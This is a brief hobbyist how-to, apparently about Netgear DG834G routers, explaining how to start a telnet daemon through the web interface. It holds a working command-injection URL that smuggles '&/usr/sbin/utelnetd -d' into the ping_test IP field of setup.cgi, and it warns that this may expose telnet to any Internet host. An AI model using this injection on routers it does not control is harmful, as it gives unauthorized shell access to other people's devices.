Your default router IP address is 192.168.0.1 unless you have changed it.
Start Telnet Daemon
http://192.168.0.1/setup.cgi?todo=ping_test&c4_IPAddr=%26/usr/sbin/utelnetd+-dYou may now telnet to your router's IP address.
eg. telnet 192.168.0.1
NB: This may enable telnet access from any Internet host.
In my case on a DG834GV v1, I could not connect to my router over Internet.
To run any installed program, use this general form.
It will launch program and redirect output to ppp_log.
